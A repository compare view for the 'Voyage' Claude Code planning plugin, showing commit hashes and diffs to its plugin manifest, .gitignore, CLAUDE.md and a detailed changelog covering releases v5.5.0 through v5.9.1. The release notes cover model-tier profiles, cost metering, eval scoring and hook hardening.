Compare commits
100 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 8d39e1d4a5 | |||
| 451969083b | |||
| 0799d6e914 | |||
| 22058459f8 | |||
| cd1d5c8738 | |||
| db3b8f5491 | |||
| 77ccf6ba06 | |||
| dcc71d9577 | |||
| 5c37b95dfb | |||
| 84fbee2313 | |||
| 8b7a849a76 | |||
| 357e17b176 | |||
| 937482067d | |||
| 76818b2459 | |||
| 4ec979747b | |||
| 0e657de023 | |||
| a6bed277d0 | |||
| 581489a513 | |||
| 9d8e043959 | |||
| 60e9e7ae5c | |||
| 926b768543 | |||
| 0c634b6636 | |||
| cb5dba9542 | |||
| 440594f1b2 | |||
| da418e653d | |||
| 15d172521d | |||
| 2b8ca9a044 | |||
| b148b6f8b8 | |||
| 27a7573b06 | |||
| 816bf2a5fc | |||
| 4bda2621eb | |||
| 6dea478de2 | |||
| 6bd50a42dd | |||
| be183e4617 | |||
| 68c9bef38f | |||
| 7e78d076f9 | |||
| 46d51f8088 | |||
| 62ebc28e3f | |||
| a9c442c201 | |||
| 708ba04571 | |||
| 5144e53129 | |||
| 844492fbcf | |||
| 971604d870 | |||
| e374a7c0ff | |||
| 84fa055e9f | |||
| f8d9d7fef9 | |||
| fe54ec91b4 | |||
| 8112e4f45c | |||
| ef569c084e | |||
| fd0e5775eb | |||
| 65a51b2667 | |||
| e34082d79a | |||
| d2f9ccb690 | |||
| e986b10431 | |||
| 0d8a5e8c5e | |||
| 213cf388de | |||
| 2df0cbb372 | |||
| 2849157ba2 | |||
| 9dc50a2047 | |||
| 6c00df573b | |||
| 2ff771779a | |||
| 153adc7fa7 | |||
| 1fc06502c9 | |||
| 8485ea1d36 | |||
| 1d638b2c7d | |||
| 7cfce2b996 | |||
| fe97f6172c | |||
| b4edc12bec | |||
| a366e332b7 | |||
| aeee4c6224 | |||
| b208e4ee04 | |||
| 6ed0c27fe2 | |||
| 04063fe60f | |||
| e7a58b0082 | |||
| 494a344700 | |||
| 987e847ea1 | |||
| eb5a7324a4 | |||
| 6ba58fda9b | |||
| 7a5749ddcc | |||
| f971db8231 | |||
| 0e84d926e2 | |||
| a9927ef5af | |||
| 056720e7f3 | |||
| 6b30483304 | |||
| 9fb536e2d8 | |||
| f7c8aa45ab | |||
| 869bf318d2 | |||
| b149538d43 | |||
| 90cd473885 | |||
| b5f3d4a932 | |||
| cccc535a13 | |||
| 736ae55d66 | |||
| fa23b16443 | |||
| fdd3ad80d7 | |||
| fbf83f2271 | |||
| 66b3b15fb6 | |||
| 3f77b68727 | |||
| c452f75628 | |||
| f16ad3690e | |||
| b692ea31ec |
146 changed files with 11112 additions and 815 deletions
|
|
@ -1,12 +1,23 @@
|
|||
{
|
||||
"name": "voyage",
|
||||
"description": "Voyage — brief, research, plan, execute, review, continue. Contract-driven Claude Code pipeline. /trekbrief, /trekplan, and /trekreview each end by building a self-contained operator-annotation HTML (scripts/annotate.mjs, modelled on claude-code-100x): select text or click any element, pick intent (Fiks/Endre/Spørsmål), write comment, copy structured prompt, paste back, Claude revises the .md.",
|
||||
"version": "5.1.1",
|
||||
"version": "5.9.1",
|
||||
"author": {
|
||||
"name": "Kjell Tore Guttormsen"
|
||||
},
|
||||
"homepage": "https://git.fromaitochitta.com/open/ktg-plugin-marketplace/src/branch/main/plugins/voyage",
|
||||
"repository": "https://git.fromaitochitta.com/open/ktg-plugin-marketplace.git",
|
||||
"license": "MIT",
|
||||
"keywords": ["voyage", "trek", "planning", "implementation", "research", "context-engineering", "agents", "adversarial-review", "headless", "execution"]
|
||||
"keywords": [
|
||||
"voyage",
|
||||
"trek",
|
||||
"planning",
|
||||
"implementation",
|
||||
"research",
|
||||
"context-engineering",
|
||||
"agents",
|
||||
"adversarial-review",
|
||||
"headless",
|
||||
"execution"
|
||||
]
|
||||
}
|
||||
|
|
|
|||
15
.gitignore
vendored
15
.gitignore
vendored
|
|
@ -19,7 +19,9 @@ blob-report/
|
|||
# Local configuration / session files
|
||||
*.local.*
|
||||
|
||||
# STATE.md — current state-of-play (overskrives ved sesjonsslutt, gitignored per ~/.claude/CLAUDE.md).
|
||||
# STATE.md — current state-of-play. LOCAL-ONLY per ~/.claude/CLAUDE.md:
|
||||
# origin is open/ (an OFFENTLIG/public mirror) → STATE must NEVER be pushed there.
|
||||
# Kept local for continuity only. History scrubbed 2026-06-26 (was wrongly tracked 23 commits).
|
||||
STATE.md
|
||||
|
||||
# Local planning docs (briefs, design notes, observations) — never committed.
|
||||
|
|
@ -29,3 +31,14 @@ docs/ultracontinue-design-notes.md
|
|||
|
||||
# Ultraplan project directories — briefs, research, plans, progress all local.
|
||||
.claude/projects/
|
||||
|
||||
# --- session/local state (gitignored) — STATE.md is LOCAL-ONLY (open/ = public), se ~/.claude/CLAUDE.md ---
|
||||
REMEMBER.md
|
||||
ROADMAP.md
|
||||
TODO.md
|
||||
NEXT-SESSION-PROMPT*.local.md
|
||||
*.local.md
|
||||
*.local.json
|
||||
*.local.sh
|
||||
.DS_Store
|
||||
.claude/
|
||||
|
|
|
|||
182
CHANGELOG.md
182
CHANGELOG.md
|
|
@ -4,6 +4,188 @@ All notable changes to this project will be documented in this file.
|
|||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).
|
||||
|
||||
## v5.9.1 — 2026-07-03 — Fix /trekendsession load-time crash (eager-exec placeholders)
|
||||
|
||||
Patch, no functional additions.
|
||||
|
||||
### Fixed
|
||||
|
||||
- `/trekendsession` was unusable in every invocation: two of its three `` !`...` `` eager-exec blocks (Phase 3 atomic-write, Phase 4 validator call) contained unresolved runtime placeholders (`<project-dir>` etc.). The harness executes eager-exec blocks at command LOAD time, so zsh parsed `<project-dir>` as input redirection and the command aborted before the model saw a single instruction. Both blocks are now plain runtime Bash fences with the `{curly}` placeholder convention (shell-inert), matching `trekplan.md`/`trekresearch.md`. The Phase 1 discovery block (self-contained) keeps its legitimate eager-exec prefix; `trekcontinue.md`'s discovery block was runtime-verified unaffected.
|
||||
- Latent secondary bug in the same blocks: cwd-relative plugin paths (`lib/validators/...`, `./lib/util/atomic-write.mjs`) would have failed with `ERR_MODULE_NOT_FOUND` even after substitution, since the Bash cwd is the user's repo. Both now use absolute `${CLAUDE_PLUGIN_ROOT}` paths per the existing command convention (Node ESM accepts absolute-path import specifiers — verified on Node 18+).
|
||||
|
||||
### Added
|
||||
|
||||
- Regression guard `tests/commands/trekendsession.test.mjs`: scans every `` !` ``-block in `commands/*.md` for unresolved `<angle>`/`{curly}` placeholders (this bug class is silent until first invocation), plus structure tests pinning Phase 3/4 as runtime Bash with `${CLAUDE_PLUGIN_ROOT}` paths and exactly one surviving eager block. Suite baseline 828 → 832 (830 pass / 0 fail / 2 skip).
|
||||
|
||||
## v5.9.0 — 2026-07-02 — Fable model tier + deep-research engine
|
||||
|
||||
Additive, plus one behavior alignment: profile `phase_models` now reach sub-agent spawn sites (previously documented but never wired), and the seven command orchestrators no longer pin `model: opus` — frontmatter omits `model:`, so the orchestrator follows the session model.
|
||||
|
||||
### Fable model tier
|
||||
|
||||
- `fable` (→ Claude Fable 5, Mythos-class, positioned above Opus) is an accepted model value throughout the validation chain: `BASE_ALLOWED_MODELS` widened to `['sonnet', 'opus', 'fable']` in `lib/validators/profile-validator.mjs` — the single source imported by brief-validator and phase-signal-resolver (two-layer gate preserved; accept-fable AND reject-unknown-model covered at both layers). No env gate — haiku's `VOYAGE_ALLOW_HAIKU` opt-in stays as-is.
|
||||
- `/trekbrief` Phase 3.5 tier loop offers a 4th option: `fable → {effort: high, model: fable}`. AskUserQuestion's 4-option maximum is now fully used — a 5th tier requires a loop redesign. The fable tier reuses `effort: high` orchestration semantics; `EFFORT_LEVELS` is unchanged.
|
||||
- New built-in profile `lib/profiles/fable.yaml` (all six phases on `fable`, modeled on premium; registered in `BUILTIN_NAMES` with a `loadProfile('fable')` canary test so a registry regression fails loudly instead of silently resolving premium). Premium stays the default.
|
||||
- Reasoning effort is inherited from the session: Fable 5's default effort is `high`, NOT xhigh, and switching model resets effort — set xhigh at session level (`/effort xhigh`, the `effortLevel` setting, or `CLAUDE_CODE_EFFORT_LEVEL`). Documented canonically in `docs/profiles.md` §Model & effort axes.
|
||||
- `claude-fable-5` added to the cost `PRICE_TABLE` ($10/MTok input, $50/MTok output; cache write 5m $12.50 / 1h $20; cache read $1 — verified 2026-07-02 against the official platform pricing docs). `PRICE_TABLE_VERSION` bumped to `2026-07-02`. Without the entry, every fable run would report `cost_usd: null` in the observability export.
|
||||
- Profile tables + allowlist prose updated across README, `docs/profiles.md`, `docs/operations.md`, `docs/HANDOVER-CONTRACTS.md`, `docs/architecture.md`, `docs/command-modes.md`, templates, and CLAUDE.md; the S15 doc pins now machine-check the fable row cell-for-cell against `fable.yaml`. The `^(opus|sonnet)…` regex claim in two docs was corrected — validation is an exact string match against `BASE_ALLOWED_MODELS`; the regex never existed in code.
|
||||
|
||||
### Behavior alignment: profile `phase_models` now reach sub-agent spawns
|
||||
|
||||
- Pre-existing wiring gap (found in exploration): all four pipeline commands invoked only the brief-only `phase-signal-resolver.mjs`, so the `?? profile.phase_models[<phase>]` half of the documented composition rule never executed — `--profile <x>` never reached sub-agent spawns.
|
||||
- Fixed with a single composed resolver: `resolver.mjs --resolve-phase-model` now returns `{effort, model, source}` (brief > profile > default, with effort passed through atomically) and is the one CLI the four pipeline commands invoke. A doc-consistency pin requires the composed invocation and forbids the brief-only CLI in command Bash blocks.
|
||||
- **Behavior change (contract alignment):** `--profile economy/balanced` now genuinely reaches sub-agent spawn sites for the first time — behavior aligns with what the docs have long claimed. The premium default is unaffected in practice (premium resolves `opus`, which equals the frontmatter fallback).
|
||||
- Command frontmatter: the `model: opus` line is DELETED from all seven commands — omission (not the disputed `inherit` literal) is the spelling both official surfaces document as session-inheritance, guarded by a frontmatter-absence doc pin. Accepted tradeoff: in a sonnet session the orchestrator runs on sonnet; re-add a frontmatter pin for deterministic orchestrator choice. The 24 `agents/*.md` `model: opus` pins are untouched (spawn-time injection wins; frontmatter is the fallback). `/trekcontinue`/`/trekendsession` spawn no exploration swarm and get no spawn-site injection; the continue phase is covered at resolver level and follows the session model.
|
||||
|
||||
### Bundled unreleased work (since v5.8.0)
|
||||
|
||||
- `/trekresearch --engine {swarm|deep-research}` (`581489a..9374820`): opt-in delegation of the external research phase to Claude Code's built-in `/deep-research` workflow, with in-context adapter + self-check, availability fallback to swarm (never hard-fails), and doc-consistency pins across surfaces.
|
||||
- brief-validator CLI no-flag invocation fix (`926b768`).
|
||||
- Deep-research engine research notes + docs (`60e9e7a`, `9d8e043`).
|
||||
|
||||
### Operator + consume-side notes
|
||||
|
||||
- The operator-global CLAUDE.md policy "Opus 4.8 default for all subagents" predates the fable tier; updating it is an operator action outside this repo.
|
||||
- `/plugin update` compares against a stale local marketplace clone and can report "already at the latest version" after this release (Claude Code issues #35752 / #38271, both closed-not-planned). Reliable refresh: remove + re-add the marketplace, or `git pull --ff-only` in the marketplace clone. Cross-version skew consequence: a stale cached v5.8 brief-validator REJECTS fable-bearing briefs with `BRIEF_INVALID_MODEL` — enum widening is safe for new readers of old data, not old readers of new data.
|
||||
- Org `availableModels` with `enforceAvailableModels: true` can make an inheriting orchestrator silently fall back to the first allowed model.
|
||||
|
||||
### Release hygiene
|
||||
|
||||
- Suite (measured with bare `npm test` at release): **828 (826 pass / 0 fail / 2 skipped)** — +17 over the pre-release ground-truth baseline of 811 measured 2026-07-02 (allowlist/gate coverage, fable profile pins, composed-resolver + frontmatter-absence doc pins, PRICE_TABLE case).
|
||||
- Version sync: `plugin.json`, `package.json`, `package-lock.json`, README badge, CHANGELOG top entry all at `5.9.0`, guarded by `doc-consistency.test.mjs`.
|
||||
|
||||
## v5.8.0 — 2026-06-30 — offline gold-scored output eval (SKAL-1·4b)
|
||||
|
||||
Additive — no behavior change, no breaking change. Internal eval infrastructure only (`lib/` + `tests/` + docs); no command, agent, profile, or Handover contract touched.
|
||||
|
||||
### Gold-scored output eval (SKAL-1·4b)
|
||||
|
||||
- The review-coordinator self-eval gains its **scoring run**, building on the deterministic coordinator contract + golden corpus shipped as the 4a foundation in v5.7.0.
|
||||
- `lib/review/gold-scorer.mjs`: `scoreFindings(runFindings, goldFindings)` matches at **`(file, rule_key)` granularity** (line + severity deliberately ignored) → `{ tp, fp, fn, precision, recall, f1, matched, missed, spurious }`; `scoreVerdict` checks exact verdict match. Pure — no I/O, no LLM, no network. Vacuous-set conventions (empty run → recall 0; empty gold → precision 0; f1 collapses to 0) are documented in the module header.
|
||||
- `tests/fixtures/bakeoff-rich/runs/run-perfect.json`: the first **committed run** — reviewer payloads that, fed through `runContract`, reproduce all 5 seeded gold findings. The regression guard: any future contract change that silently suppresses or skips a seeded finding breaks the eval.
|
||||
- `tests/lib/gold-eval.test.mjs`: the **scoring run**, wired into `node --test`. Asserts `run-perfect` scores precision/recall/f1 = 1.0 and `verdict == expected_verdict` (BLOCK). Offline: committed payloads, no live agent spawn (the LLM-in-the-loop grading is the separate 4c tier).
|
||||
- **Third test-census category.** `lib/util/test-census.mjs` now reports a `goldEval` bucket (matched by `GOLD_EVAL_FILE_RE`) separately from `behavior` and `docPins` — a scoring run is neither behavior coverage nor a prose pin, so the honest-count invariant is a 3-way sum.
|
||||
- `docs/eval-corpus/README.md`: SKAL-1·4b moved from "Future hardening" to an implemented section documenting the scorer, run format, and census category.
|
||||
- Suite: **822 (820 pass / 0 fail / 2 skip)**, up from 809 (+10 scorer behavior tests, +3 eval scoring-run tests). The scorer test covers the discriminating paths (false negatives + false positives) and the degenerate empty-run / empty-gold cases, not merely the all-match case.
|
||||
- Version sync: `plugin.json`, `package.json`, `package-lock.json`, README badge, CHANGELOG top entry all at `5.8.0`, guarded by `doc-consistency.test.mjs`.
|
||||
|
||||
## v5.7.1 — 2026-06-29 — relocate agent `<example>` blocks to body (always-loaded token trim)
|
||||
|
||||
Performance/packaging change — no behavior change, no breaking change. (M4)
|
||||
|
||||
### Always-loaded token trim
|
||||
|
||||
- The 17 example-bearing agents each carried two `<example>` blocks (34 total) inside their `description:` frontmatter. voyage launches its agents **by name** from the orchestrator commands, so those auto-selection examples were paying a per-turn token tax for a path the pipeline never uses. They are now relocated **verbatim** into each agent's body under a `## When to use — examples` section — preserved, not deleted.
|
||||
- Frontmatter `description` chars across all 24 agents: **17,672 → 4,945** — roughly **3,180 fewer always-loaded tokens per turn** for every session with voyage enabled. The 7 zero-example agents are untouched; no system prompt, tools, model, or `name` changed.
|
||||
- New invariant test in `tests/lib/agent-frontmatter.test.mjs`: no `<example>` in any frontmatter `description`, and ≥ 34 `<example>` retained across agent bodies (relocation moves, never deletes). Suite: **807 pass / 0 fail / 2 skip**.
|
||||
- **The saving only reaches a machine after `/plugin marketplace update` + reload** — the delta is not instant on the machine that ships the release.
|
||||
- Version sync: `plugin.json`, `package.json`, `package-lock.json`, README badge, CHANGELOG top entry all at `5.7.1`, guarded by `doc-consistency.test.mjs`.
|
||||
|
||||
## v5.7.0 — 2026-06-26 — opt-in token/cost metering (SKAL-2) + eval foundation (SKAL-1·4a)
|
||||
|
||||
Additive — no breaking change. Two unreleased work-streams land together.
|
||||
|
||||
### Opt-in token/cost metering (SKAL-2) — the headline
|
||||
|
||||
- Pure token-usage parser + cache-aware USD cost (`lib/stats/token-usage.mjs`): parses MAIN-CONTEXT usage from the transcript, dedups by requestId (last-wins, streaming-placeholder mitigation), excludes sidechain records, and REFUSES to estimate (`cost_usd:null, is_estimate:true`) for models absent from the frozen PRICE_TABLE.
|
||||
- CWE-212 export boundary: token-usage schema allowlist in the OTLP exporter; `session_id`/`transcript_path`/`cwd` stripped at export, asserted both ways.
|
||||
- Cross-session aggregation in `cache-analyzer` (total tokens + cost).
|
||||
- Capture folded into the EXISTING `otel-export.mjs` Stop hook, gated behind the `VOYAGE_TOKEN_METER` env var (default off), fail-open. v1 scope = main-context only; sub-agent turns are a documented v2 follow-on.
|
||||
|
||||
### Eval foundation (SKAL-1·4a)
|
||||
|
||||
- `gold.json` golden corpus + loader/validator; review-coordinator contract reference impl + deterministic test; two-sided gate coverage for the `BRIEF_*` BLOCKERs; eval-corpus frozen-failure home.
|
||||
|
||||
### Release hygiene
|
||||
|
||||
- Version sync: `plugin.json`, `package.json`, `package-lock.json`, README badge, CHANGELOG top entry all at `5.7.0`, guarded by `doc-consistency.test.mjs`.
|
||||
- Canonical `node --test`: **807** (805 pass / 0 fail / 2 skipped).
|
||||
|
||||
## v5.6.1 — 2026-06-24 — leaner always-loaded agent listing (reference/dormant agent descriptions trimmed)
|
||||
|
||||
Additive — no breaking change, **no runtime behavior change**. Trims the always-loaded token cost of the agent listing that Claude Code injects into every session.
|
||||
|
||||
### Reference/dormant agents now carry one-line descriptions
|
||||
|
||||
- **The 3 `*-orchestrator` reference docs** (`planning-/research-/review-orchestrator`) and the **dormant `synthesis-agent`** carried multi-paragraph `description:` frontmatter (full rationale + CC-2.1.172 history + a usage example) that Claude Code injects into every session — despite none of them being spawnable from the live `/trek*` pipeline. Their `description:` is now a single line; the full rationale already lives, and remains, in each file's body. **~700 tokens trimmed** from the always-loaded agent listing, no capability change.
|
||||
- The three orchestrators retain the self-declaration **"reference document, not a spawnable capability"** (pinned by `doc-consistency.test.mjs`); `synthesis-agent` retains its **DORMANT / not-wired** flag and the `docs/T1-synthesis-poc-results.md` pointer.
|
||||
- Surfaced via dogfooding with `config-audit`'s always-loaded token audit. Canonical `node --test`: **754 pass, 0 fail** (756 total, 2 skipped); the agent-inventory + frontmatter pins stay green.
|
||||
|
||||
### Version sync
|
||||
|
||||
- `plugin.json`, `package.json`, `package-lock.json`, the README badge, and the CHANGELOG top entry all at `5.6.1`, guarded by the version-consistency test in `tests/lib/doc-consistency.test.mjs`.
|
||||
|
||||
## v5.6.0 — 2026-06-20 — `/trekexecute` loop hardening: machine-verifiable completion + bounded recovery
|
||||
|
||||
Additive — no breaking change. Hardens the `/trekexecute` execution loop so termination is *machine-verifiable* and recovery is *bounded by an explicit budget*, closing the "runs forever" and "declares done without proof" failure modes. Five focused changes; canonical `node --test` 744 → **756** (0 fail).
|
||||
|
||||
### Machine-verifiable completion gate (the headline)
|
||||
|
||||
- **Stop-signal contract** — `/trekexecute` reports `completed` only when a machine-checkable contract holds: the Phase 7.5 manifest audit PASSes, the stop signal exits 0, and the success criteria are green. **Hard Rule 18** is promoted from prose guidance to an enforced gate, anchored in the Phase 7.5 audit rather than the model's self-assessment.
|
||||
|
||||
### Bounded recovery — cap hierarchy + global budget
|
||||
|
||||
- **`TREKEXECUTE_MAX_RECOVERY_ITERATIONS`** — a global recovery-iteration budget (default **25**, env-overridable) sits above the per-step caps as a three-axis cap hierarchy (recovery depth · per-step retry · global budget), codified as **Hard Rule 20**. Stops an unbounded recover→retry→recover spiral that the per-step caps alone could not bound.
|
||||
- **`iterations_remaining` signal** — surfaced in the progress schema and the summary JSON, with a deterministic gate cross-check (`iterations_remaining == cap − (recovery_depth + Σ attempts-beyond-first)`) that catches a never-decremented counter. Shape-validated in `lib/.../progress-validator.mjs` (`PROGRESS_ITERATIONS_REMAINING_INVALID`: non-negative integer, additive-optional — never required at top level).
|
||||
|
||||
### Doc consistency
|
||||
|
||||
- **Fan-out hedge harmonized** — the `CLAUDE.md` design-principle line is aligned to the measured claim (parallel wall-clock + structured artifact handoffs as the load-bearing benefit; main-context relief stays explicitly *not demonstrated*), with a banned-phrase **forward-guard** in `tests/lib/doc-consistency.test.mjs` so the over-claim cannot reappear.
|
||||
|
||||
### Release hygiene
|
||||
|
||||
- **Version sync** — `plugin.json`, `package.json`, `package-lock.json`, the README badge, and the CHANGELOG top entry all at `5.6.0`, guarded by the version-consistency test in `tests/lib/doc-consistency.test.mjs`.
|
||||
|
||||
## v5.5.0 — 2026-06-18 — Coordinated release: brief framing enforcement (2.2) + W1–W3 narrow wins
|
||||
|
||||
The coordinated release held since the framing work. Supersedes the unreleased internal milestones **v5.2–v5.4** (W2 model/effort alignment, W3 guardrail hardening, the Handover-1 public-contract formalization), landing them together with the `brief_version 2.2` schema badge and the W1 narrow wins. **Additive — no breaking change for existing consumers:** every `2.0`/`2.1` brief still validates; the new requirements gate only on briefs that *declare* `brief_version: "2.2"`.
|
||||
|
||||
### Brief framing enforcement — `brief_version 2.2` (the headline)
|
||||
|
||||
Three version-gated layers ship at `brief_version ≥ 2.2`, implementing the `CLAUDE.md` cross-cutting invariant "brief framing must match operator intent":
|
||||
|
||||
- **`framing` enum** (`preserve | refine | replace | new-direction`) — required in frontmatter, collected in `/trekbrief` Phase 2.5 *before* any prose is written, non-skippable even in `--quick`. Enum-checked on any version (`BRIEF_INVALID_FRAMING`); missing at ≥ 2.2 → `BRIEF_MISSING_FRAMING`.
|
||||
- **Memory-alignment dimension** — new `brief-reviewer` dimension 6 compares brief Intent/Goal + framing against operator memory, flagging *explicit* contradictions only (scores N/A when no memory is supplied); wired to the Phase 4e gate (`memory_alignment.score ≥ 4`). Emits a `status` field (`verified | n_a | contradictions`) so a score-5 N/A (no memory available) is distinguishable from a score-5 verified-aligned brief — the gate passes in both cases, and `status` is what tells the operator whether the wrong-premise defense actually ran.
|
||||
- **Obligatory `## TL;DR`** — ≤ 5 content lines at the top of every 2.2 brief (soft cap → `BRIEF_TLDR_TOO_LONG`).
|
||||
- **Opt-in version floor** — `--min-brief-version <ver>` on `/trekplan` + `/trekresearch` (forwarded to the validator as `--min-version`) raises a `BRIEF_VERSION_BELOW_MINIMUM` *warning* — never a block — when a brief declares a version below the floor. Closes the producer-elective hole where a `2.0`/`2.1` brief silently sidesteps framing enforcement; `docs/HANDOVER-CONTRACTS.md` §Handover 1 now documents pre-2.2 = zero framing enforcement and the two remedies (require `2.2` upstream, or pass the floor flag).
|
||||
|
||||
Existing `2.0`/`2.1` briefs stay valid (forward + backward compatible), mirroring the `phase_signals ≥ 2.1` precedent. `trekreview` briefs are exempt.
|
||||
|
||||
### Public contract formalization (Handover 1)
|
||||
|
||||
`docs/HANDOVER-CONTRACTS.md` §Handover 1 (`brief.md` → research) is now labeled **PUBLIC CONTRACT** — the only public integration boundary of the pipeline. Froze `brief_version 2.1` as the baseline, then evolved it to `2.2` under the breaking-change protocol. Any conforming producer (not just `/trekbrief`) may feed Voyage; brief-schema changes are breaking for every downstream consumer.
|
||||
|
||||
### Model & effort alignment (W2)
|
||||
|
||||
- **Opus 4.8 baseline** — the `opus` alias resolves to Opus 4.8 (default reasoning effort `high`).
|
||||
- **Native `effort:` frontmatter** (additive, static) on 8 agents: retrieval (`task-finder`, `git-historian`, `dependency-tracer`, `architecture-mapper`) → `medium`; adversarial-reasoning (`plan-critic`, `risk-assessor`, `contrarian-researcher`, `review-coordinator`) → `high`. The other 15 agents inherit the Opus-4.8 default.
|
||||
- **Resolver model-gate fix** — `lib/profiles/phase-signal-resolver.mjs` now gates `model` against `BASE_ALLOWED_MODELS` (mirrors the existing `effort` gate); out-of-allowlist models are dropped rather than handed to a spawn.
|
||||
- **Axis distinction documented** — `docs/profiles.md` §Model & effort axes separates orchestration `phase_signals.effort` (which agents/passes run) from native reasoning `effort:` (per-spawn budget) — different axes that happen to share the name `effort`.
|
||||
|
||||
### Guardrails & hooks hardening (W3)
|
||||
|
||||
- **Exec-form hooks** (CC-14) — all 7 hooks in `hooks/hooks.json` migrated to `{command:"node", args:["${CLAUDE_PLUGIN_ROOT}/…"]}`, removing a class of path-quoting bugs for consumers who install Voyage under a path containing spaces.
|
||||
- **`disallowed-tools` enforcement** (CC-11) — `disallowed-tools: Agent, TeamCreate` added to `/trekexecute`, promoting its documented no-delegation rule from prose to enforcement (`allowed-tools` grants auto-approval but does not remove a tool from the pool; `disallowed-tools` does).
|
||||
- **Universal safety executors** (CC-15) — `pre-bash-executor.mjs` / `pre-write-executor.mjs` confirmed universal by design (session-agnostic safety; narrowing to execute-only sessions would only weaken protection).
|
||||
|
||||
### Narrow wins (W1 — NW1–NW3)
|
||||
|
||||
- **NW1 — reviewer-output schema contract** (ungated, shipped). `lib/review/findings-schema.mjs` validates each `/trekreview` Phase 5 reviewer's JSON against a schema; on *schema* failure main re-asks for conforming JSON (bounded N=2), retiring the fragile "collect trailing JSON / re-ask on parse error" contract.
|
||||
- **NW2 — trekreview Workflow port as opt-in `--workflow` flag.** Phase 5–6 (`parallel([conformance, correctness])` → plain-JS dedup-by-`(file,line,rule_key)` → `agent(coordinator)`) ported to a Workflow script, reachable via `--workflow` (default stays prose, preserving the 2.1.154+ portability floor). Bake-off verdict **opt-in-defensible** (POSITIVE on the measured axes — fidelity-equivalent `review.md`, zero classifier interference at 9-agent concurrency, ≈ +4.4% tokens — but on a single un-archived run: the raw per-run data was never committed, so the numbers cannot be re-derived; see `docs/T2-bakeoff-results.md` §Reproducibility caveat).
|
||||
- **NW3 — synthesis-agent shipped dormant (declined per measurement).** Built + measured deterministically: Δ main-context = **0%** at all realistic BASE — delegating only trekplan Phase 7 evicts nothing, since the Phase-5 foreground reads make the outputs resident first. Not wired; re-measurement is cheap via `scripts/synthesis-measure.mjs`. See `docs/T1-synthesis-poc-results.md`.
|
||||
|
||||
### CC 2.1.130→181 verification dispositions
|
||||
|
||||
- **Verified clean (no regression):** CC-29 (`subagent_type` matching now case/separator-insensitive; no Voyage agent declares multiple `Agent(...)` types), CC-31 (the tightened background worktree-isolation guard aligns with Voyage's intent — `/trekplan` `TeamCreate isolation:"worktree"` with sequential fallback, `/trekexecute` Phase 2.6 worktree waves).
|
||||
- **CC-08 — GH #36071 (hooks in headless `claude -p`) closed as NOT PLANNED, not fixed.** The in-prompt safety preamble is retained as the headless defense.
|
||||
- **Deferred (recorded, no code):** CC-07 (`fallbackModel`), CC-12 (Stop/SubagentStop `additionalContext`), CC-13 (`background_tasks`/`session_crons` in hook input). Triggers noted in `docs/cc-upgrade-2.1.181-decision-matrix.md` §S13.
|
||||
|
||||
### Release hygiene
|
||||
|
||||
- **Version sync** — `plugin.json`, `package.json`, README badge, and the CHANGELOG top entry all at `5.5.0`, guarded by a new version-consistency test in `tests/lib/doc-consistency.test.mjs`.
|
||||
- **Honest test count (S19)** — `lib/util/test-census.mjs` + `tests/lib/test-census.test.mjs` report the behavior-test count separately from the doc-consistency prose-pin count, so the cited total no longer oversells behavior coverage. Pruned 3 redundant/tautological prose-pins from `doc-consistency.test.mjs` (each provably subsumed by a structural invariant or behavior test). Devil's-advocate audit §Top changes #8.
|
||||
- **`claude plugin validate` passes.** The single advisory warning (root `CLAUDE.md` not loaded as consumer project context) is **accepted by design**: it is universal across all marketplace plugins, validation still passes, and the root `CLAUDE.md` is repo/maintainer context — consumer context ships via README + command/agent frontmatter.
|
||||
|
||||
## v5.1.1 — 2026-05-14 — Remediation patch (11/12 review findings closed)
|
||||
|
||||
Additive. No breaking changes against v5.1.0. Closes 11 of 12 BLOCKER/MAJOR/MINOR findings from the v5.1.0 review (sesjon 5, review.md SHA range `8cbb33e..8f4b79c`). SC8 dogfood gate (#5) is scheduled for sesjon 8 as a fresh-CC-session operator action — its closure cannot happen inside the v5.1.1 execute session.
|
||||
|
|
|
|||
21
CLAUDE.md
21
CLAUDE.md
|
|
@ -2,20 +2,20 @@
|
|||
|
||||
Voyage — a contract-driven Claude Code pipeline: brief, research, plan, execute, review, continue. Deep implementation planning and research with specialized agent swarms, external research, adversarial review, session decomposition, disciplined execution, and headless support.
|
||||
|
||||
**Design principle: Context Engineering** — build the right context by orchestrating specialized agents. Each step in the pipeline (brief → research → plan → execute) produces a structured artifact that the next step consumes.
|
||||
**Design principle: Context Engineering** — build the right context by orchestrating specialized agents. Each step in the pipeline (brief → research → plan → execute) produces a structured artifact that the next step consumes. The load-bearing benefit is the parallel wall-clock + structured artifact handoffs; main-context relief is asserted-by-design, not measured (Δ ≈ 0 in the one PoC — see `docs/T1-synthesis-poc-results.md`).
|
||||
|
||||
> **v3.0.0 — architect step extracted from this plugin.** The plan command still auto-discovers `architecture/overview.md` if present, so any compatible producer (architect plugin no longer publicly distributed; the architecture/overview.md slot remains available for any compatible producer) plugs into the same slot. See [CHANGELOG.md](CHANGELOG.md) for migration history.
|
||||
> **Architecture slot.** The plan command auto-discovers `architecture/overview.md` if present — any compatible producer plugs in (the architect plugin is no longer publicly distributed). Migration history (v3.0.0 extraction) → [CHANGELOG.md](CHANGELOG.md).
|
||||
|
||||
> **Trinity context (2026-05-13, informational).** Voyage is Tier 1 (per-task) of a three-tier architecture in active design under the author's private marketplace: Tier 2 `app-creator` (per-app — "what does the app need, what's the next brief?") produces briefs Voyage consumes; Tier 3 `app-factory` (per-portfolio — "which app needs me now?") aggregates state across multiple app-creator instances. Both are pre-implementation and will ship to Forgejo when ready. **Asymmetry is a hard invariant:** Voyage stays unaware of Tier 2/3. Handover 1 (brief format) is the only integration point — any compatible producer can feed Voyage, app-creator is not privileged. Brief-schema changes are therefore breaking changes for downstream consumers, formalized as a public contract in v5.4.
|
||||
> **Trinity context (informational).** Voyage is Tier 1 (per-task) of a three-tier architecture. **Asymmetry is a hard invariant:** Voyage stays unaware of Tier 2/3; Handover 1 (brief format) is the only integration point, no producer is privileged, and brief-schema changes are breaking for downstream consumers (formalized as a public contract in v5.5.0). Tier 2/3 producer detail + the public contract → `docs/HANDOVER-CONTRACTS.md` §Handover 1 (PUBLIC CONTRACT).
|
||||
|
||||
